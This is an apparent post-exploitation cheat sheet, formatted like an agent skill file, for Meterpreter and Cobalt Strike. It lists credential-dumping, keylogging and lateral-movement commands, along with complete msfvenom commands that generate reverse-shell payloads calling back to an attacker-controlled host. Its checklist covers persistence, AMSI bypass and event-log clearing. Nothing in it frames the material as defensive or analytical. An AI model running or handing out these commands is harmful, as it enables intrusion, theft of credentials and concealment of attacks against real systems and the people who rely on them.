Meterpreter Cobalt Strike Basics

Meterpreter and Cobalt Strike Basics

Using Meterpreter and Cobalt Strike for post-exploitation — from payload generation and privilege escalation through lateral movement, pivoting, and persistence.

When to Use

• Post-exploitation with Metasploit/Meterpreter
• Cobalt Strike beacon operations
• Payload generation (stageless, staged, reverse, bind)
• Post-exploitation modules (migrate, kiwi, hashdump)

Meterpreter Commands

METERPRETER_CORE = {
    'sysinfo': 'Get system information (OS, arch, domain, logged-in users)',
    'getuid': 'Current user context',
    'getsystem': 'Attempt privilege escalation to SYSTEM (named pipe impersonation)',
    'migrate': 'Move process to another process (stealth, stability)',
    'hashdump': 'Dump SAM hashes (requires SYSTEM)',
    'kiwi_cmd': 'Mimikatz integration — sekurlsa::logonpasswords',
    'screenshot': 'Capture screenshot of current desktop',
    'keyscan_start': 'Start keylogger (requires explorer.exe migration)',
    'load_kiwi': 'Load Mimikatz extension',
    'background': 'Background current session',
}

# MSFVenom payload generation
MSFVENOM_PAYLOADS = {
    'windows_reverse': "msfvenom -p windows/x64/meterpreter/reverse_https LHOST=IP LPORT=443 -f exe -o payload.exe",
    'linux_reverse': "msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=IP LPORT=443 -f elf -o payload.elf",
    'web_delivery': "msfvenom -p windows/x64/meterpreter/reverse_https LHOST=IP LPORT=443 -f psh -o payload.ps1",
}

# Cobalt Strike beacon commands
BEACON_COMMANDS = {
    'shell': 'Execute cmd command (shell whoami)',
    'execute-assembly': 'Execute .NET assembly in-memory (execute-assembly /path/to/Seatbelt.exe)',
    'jump': 'Jump to remote host via psexec/winrm (jump psexec target1 smb)',
    'dcsync': 'Extract hashes via DCSync (dcsync [DOMAIN] [USER])',
    'spawn': 'Spawn new beacon in specific process (spawn x64)',
    'powershell-import': 'Import PowerShell script (powershell-import PowerView.ps1)',
}

Verification Checklist

• Payload generated (MSFVenom or Artifact Kit for Cobalt Strike)
• Initial access established (reverse shell or beacon)
• Post-exploitation: hashdump, kiwi, screenshots
• Privilege escalation to SYSTEM/root
• Lateral movement via pass-the-hash, psexec, WMI
• Persistence mechanism installed
• Pivot proxy through compromised host
• Cleanup: remove payloads, persistence, event logs
• OPSEC: process injection, AMSI bypass, log clearing